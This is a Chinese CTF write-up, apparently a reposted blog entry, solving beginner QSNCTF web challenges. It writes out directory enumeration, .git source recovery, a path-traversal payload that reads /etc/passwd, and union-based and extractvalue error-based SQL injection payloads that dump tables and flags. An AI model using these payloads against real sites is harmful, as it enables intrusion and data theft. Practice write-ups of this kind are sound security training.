QSNCTF-WEB做题记录(2)

[第一章 web入门]常见的搜集

来自 <天狩CTF竞赛平台>

1,首先就是对网站进行目录枚举爆破

dirsearch -u http://challenge.qsnctf.com:31616 -x 404,403

得到如下的目录,分别查看一下内容

/.DS_Store                                       

                           

/index.php~ 

第二部分:flag2:s_v3ry_im

/robots.txt

/flag1_is_her3_fun.txt

第一部分:n1book{info_1

/.index.php.swp      

第三个部分:p0rtant_hack}

组成n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入门]粗心的小李

来自 <天狩CTF竞赛平台>

1,.git泄露漏洞。

GitHack 是一种文件夹泄露漏洞。.git它从 .git 文件夹重建源代码,同时保持目录结构不变。GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞 https://github.com/lijiejie/GitHack

2,命令示例:python GitHack.py http://还原链接/.git/

3,输入这个命令之后,会在challenge.qsnctf.com_32321

4,然后在该文件夹下发现生产的文件GitHack-master\challenge.qsnctf.com_32321\index.html

n1book{git_looks_s0_easyfun}

第三题:EasyInclude 2024

来自 <天狩CTF竞赛平台>

1,观察网站页面,提示存在include函数

$_GET['inc']: 这是从 URL 参数中获取一个值。也就是说,用户可以在 URL 中传递一个名为 inc 的参数,PHP 脚本将会根据这个参数的值来决定包含哪个文件。

2,由此构造payload:?inc=../../../../etc/passwd

成功包含了/etc/passwd文件,应该是存在本地文件包含漏洞(LFI,local file include)

3,构造语句payload:?inc=/flag

轻松包含了flag{b6408a9551ef4755abbd333bf9694865}

[第一章 web入门]SQL注入-1

来自 <天狩CTF竞赛平台>

1,观察靶场,能够通过?id=1传入参数进而改变网站页面,首先确定页面正常回显的情况

2,然后传入?id=1',不回显证明发生报错,传入?id=1",回显正常

?id=1' --+ 传入这个参数正常回显,说明此前单引号会破坏SQL查询语句的闭合,而现在使用--+注释掉需要闭合的单引号,使得?id=1'能够完成闭合。由此判断靶场存在单引号字符型sql注入漏洞

3, 使用order by语句判断数据表存在几列

ORDER BY 操作符用于对查询结果进行排序。它根据指定的列对数据进行升序或降序排列。默认情况下,ORDER BY 以升序(ASC)排序,但你也可以显式地指定升序或降序排序。

语法:

SELECT column1, column2, ...
FROM table_name
ORDER BY column1 [ASC|DESC], column2 [ASC|DESC], ...;

  • column1, column2, ...: 要排序的列。
  • ASC:升序(默认),从小到大排列。
  • DESC:降序,从大到小排列。

payload:?id=1' order by 1,2,3 --+ 不报错

payload:?id=1' order by 1,2,3,4 --+ 不报错

说明数据表的列数小于四列,大于等于三列,推断数据库列数为3

4,使用union操作符推断sql注入漏洞的回显点在哪几列

payload:?id=-1' union select 1,2,3 --+

回显出来2,3说明回显点在被查询的第二第三列

5,通过数据库函数爆出数据库名和版本号

payload:?id=-1' union select 1,database(),version() --+

6,爆数据表名fl4g,notes

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆出fl4g数据表下的列名fllllag

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

爆出notes数据表下的列名id,title,content

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+

7,最后直接在数据表fl4g查询到flag

?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+

n1book{union_select_is_so_cool}

[第一章 web入门]SQL注入-2

来自 <天狩CTF竞赛平台>

1,题目提示请访问 /login.php /user.php

访问/login.php是一个登录网页

输入密码然后使用burpsuite抓包,大抵推断是一个POST型SQL注入

2,查看页面源代码发现了题目提示

右键发送到repeater模块,然后按照要求添加

  • "error": 1:error 字段的值是 1,通常表示发生了错误或异常。一般约定 0 表示成功,1 表示失败。
  • "msg": "\u8d26\u53f7\u4e0d\u5b58\u5728":msg 字段的值是一个 Unicode 编码的字符串。解码后,\u8d26\u53f7\u4e0d\u5b58\u5728 代表的中文是 "账户不存在"。

3,然后判断注入类型:

name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。

name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。

4,这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。经过和报错注入的联合判断,我们可以得出闭合方式为单引号。爆出数据库库名

1' and extractvalue(1,concat(0x7e,database()))--+

  • extractvalue():这是 MySQL 中的一个函数,它用来从 XML 数据中提取指定节点的值。它有两个参数,第一个参数是 XML 文档,第二个参数是 XPath 表达式。在 SQL 注入中,攻击者可以利用这个函数执行任意的 XML 操作,从而在数据库中执行一些恶意行为。
  • 1:extractvalue() 的第一个参数通常是 XML 数据。在这里,1 被用作一个“虚拟的” XML 数据。MySQL 将它当作一个无效的 XML 文档,并尝试在其上执行 XPath 操作。
  • concat(0x7e, database()):这个部分使用 concat() 函数将两个部分拼接起来。
    • 0x7e 是一个十六进制值,表示字符 ~(波浪号)。这是一个分隔符,用于在最终输出中分隔不同的内容。
    • database() 是 MySQL 的一个内置函数,用于获取当前数据库的名称。
      因此,concat(0x7e, database()) 会将字符 ~ 和当前数据库的名称拼接起来。例如,如果当前数据库是 test_db,则结果是 ~test_db。
  • extractvalue(1, concat(0x7e, database())):最终,这个函数会尝试从虚拟的 XML 文档 1 中提取节点 ~test_db(假设当前数据库为 test_db)。由于 extractvalue() 的目标是执行 XML 查询,它会导致一个错误或不正确的行为,但攻击者通常期望数据库返回当前数据库的名称作为结果,或造成 SQL 错误信息泄露。

数据库名就是note

5,爆破出数据库当中的数据表(需要进行绕过)

admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

爆出数据表有fl4g,users

6,然后爆出数据表fl4g的字段名

admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+

7,最后成功的爆出来flag

admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+

n1book{login_sqli_is_nice}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/24209.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「软件设计模式」责任链模式(Chain of Responsibility)

深入解析责任链模式&#xff1a;用C打造灵活的请求处理链 引言&#xff1a;当审批流程遇上设计模式 在软件系统中&#xff0c;我们经常会遇到这样的场景&#xff1a;一个请求需要经过多个处理节点的判断&#xff0c;每个节点都有权决定是否处理或传递请求。就像企业的请假审批…

Ocelot 请求聚合

请求聚合 当下游服务是返回404状态码&#xff0c;在返回结果中&#xff0c;其对应的值则为空值&#xff0c; 即使聚合路由中所有的下游服务都返回404状态码&#xff0c;聚合路由的返回结果也不会是404状态码。 Ocelot允许你声明聚合路由&#xff0c;这样你可以把多个正常的Ro…

MongoDB安装与配置 导入导出

1、MongoDB的安装 首先cd到目录 cd /usr/local/ 执行下载 wget -c https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel80-7.0.7.tgz 解压文件 tar -xvf mongodb-linux-x86_64-rhel80-7.0.7.tgz 将解压后的“mongodb-linux-x86_64-rhel80-7.0.7”文件夹重命名…

Kotlin 知识点二 延迟初始化和密封类

对变量延迟初始化 Kotlin 语言的许多特性&#xff0c;包括变量不可变&#xff0c;变量不可为空&#xff0c;等等。这些特性 都是为了尽可能地保证程序安全而设计的&#xff0c;但是有些时候这些特性也会在编码时给我们带来不 少的麻烦。 比如&#xff0c;如果你的类中存在很多…

简单介绍 SSL 证书类型: DV、OV、EV 的区别

SSL证书类型DV、OV、EV 区别&#xff1a; DV(域名验证型)SSL证书 OV(组织验证型)SSL证书 EV(扩展验证型)SSL证书

深度解析SmartGBD助力Android音视频数据接入GB28181平台

在当今数字化时代&#xff0c;视频监控与音视频通信技术在各行各业的应用愈发广泛。GB28181协议作为中国国家标准&#xff0c;为视频监控设备的互联互通提供了规范&#xff0c;但在实际应用中&#xff0c;许多Android终端设备并不具备国标音视频能力&#xff0c;这限制了其在相…

1分钟用DeepSeek编写一个PDF转Word软件

一、引言 如今&#xff0c;在线工具的普及让PDF转Word成为了一个常见需求&#xff0c;常见的pdf转word工具有收费的wps&#xff0c;免费的有pdfgear&#xff0c;见下文&#xff1a; PDFgear:一款免费的PDF编辑、格式转化软件-CSDN博客 还有网上在线的免费pdf转word工具smallp…

PyCharm Professional 2025 安装配置全流程指南(Windows平台)

一、软件定位与核心功能 PyCharm 2025 是 JetBrains 推出的智能 Python IDE&#xff0c;新增深度学习框架自动补全、实时性能热力图等功能1。相较于社区版&#xff0c;专业版支持&#xff1a; Web开发&#xff08;Django/Flask&#xff09;数据库工具&#xff08;PostgreSQL/…

DeepSeek回答:AI时代Go语言学习路线

最近有小伙伴经常会问&#xff1a;**该如何学习入门Go语言&#xff1f;怎样提升Go语言Coding水平&#xff1f;**这篇文章我们就使用DeepSeek来梳理下Go语言在AI时代的学习路线。 向DeepSeek提问的问题原文&#xff1a; 你现在是一名资深的Go语言工程师&#xff0c;精通Go语言并…

OpenGL ES -> GLSurfaceView绘制点、线、三角形、正方形、圆(顶点法绘制)

XML文件 <?xml version"1.0" encoding"utf-8"?> <com.example.myapplication.MyGLSurfaceViewxmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"…

嵌入式项目:STM32刷卡指纹智能门禁系统

本文详细介绍基于STM32的刷卡指纹智能门禁系统。 获取资料/指导答疑/技术交流/选题/帮助&#xff0c;请点链接&#xff1a; https://gitee.com/zengzhaorong/share_contact/blob/master/stm32.txt 1 系统功能 1.1 功能概述 本系统由STM32硬件端&#xff08;下位机&#xff09;…

Dubbo RPC 原理

一、Dubbo 简介 Apache Dubbo 是一款高性能、轻量级的开源 RPC 框架&#xff0c;支持服务治理、协议扩展、负载均衡、容错机制等核心功能&#xff0c;广泛应用于微服务架构。其核心目标是解决分布式服务之间的高效通信与服务治理问题。 二、Dubbo 架构设计 1. 核心组件 Prov…

RBAC授权

4 RBAC授权 4.1 什么是RBAC 在Kubernetes中&#xff0c;所有资源对象都是通过API进行操作&#xff0c;他们保存在etcd里。而对etcd的操作我们需要通过访问kube-apiserver来实现&#xff0c;上面的Service Account其实就是APIServer的认证过程&#xff0c;而授权的机制是通过RBA…

C/C++ | 每日一练 (4)

&#x1f4a2;欢迎来到张胤尘的技术站 &#x1f4a5;技术如江河&#xff0c;汇聚众志成。代码似星辰&#xff0c;照亮行征程。开源精神长&#xff0c;传承永不忘。携手共前行&#xff0c;未来更辉煌&#x1f4a5; 文章目录 C/C | 每日一练 (4)题目参考答案基础容器序列容器std:…

HarmonyOS 5.0应用开发——鸿蒙接入高德地图实现POI搜索

【高心星出品】 文章目录 鸿蒙接入高德地图实现POI搜索运行结果&#xff1a;准备地图编写ArkUI布局来加载HTML地图 鸿蒙接入高德地图实现POI搜索 在当今数字化时代&#xff0c;地图应用已成为移动设备中不可或缺的一部分。随着鸿蒙系统的日益普及&#xff0c;如何在鸿蒙应用中…

Linux系统:服务器常见服务默认IP端口合集

服务器的默认IP端口取决于所使用的协议和服务类型。以下是一些常见服务和协议的默认端口&#xff1a; 服务端口实例&#xff1a; HTTP服务 默认端口&#xff1a;80 说明&#xff1a;用于普通的HTTP网页访问。例如&#xff0c;访问 http://example.com 时&#xff0c;默认使用8…

一周学会Flask3 Python Web开发-flask3上下文全局变量session,g和current_app

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili flask3提供了session,g和current_app上下文全局变量来方便我们操作访问数据。 以下是一个表格&#xff0c;用于比较Flask中的…

学习路程四 向量数据库Milvus安装与连接

前序 在之前&#xff0c;已经简单完成了文档的加载&#xff0c;分割&#xff0c;向量化这些步骤&#xff0c;最后得到了结果。但是这些数据都是一次性的。假设一个律师所&#xff0c;有几千上万份卷宗&#xff0c;不可能每次使用都重新向量化数据吧。 所以我们需要有一个地方存…

Docker 搭建 Nginx 服务器

系列文章目录 Docker 搭建 Nginx 服务器 系列文章目录前言一、准备工作二、设置 Nginx 容器的目录结构三、启动一个临时的 Nginx 容器来复制配置文件四、复制 Nginx 配置文件到本地目录五、删除临时 Nginx 容器六、创建并运行 Nginx 容器&#xff0c;挂载本地目录七、修改 ngin…

centos9安装k8s集群

以下是基于CentOS Stream 9的Kubernetes 1.28.2完整安装流程&#xff08;containerd版&#xff09;&#xff1a; 一、系统初始化&#xff08;所有节点执行&#xff09; # 关闭防火墙 systemctl disable --now firewalld# 关闭SELinux sed -i "s/SELINUXenforcing/SELINU…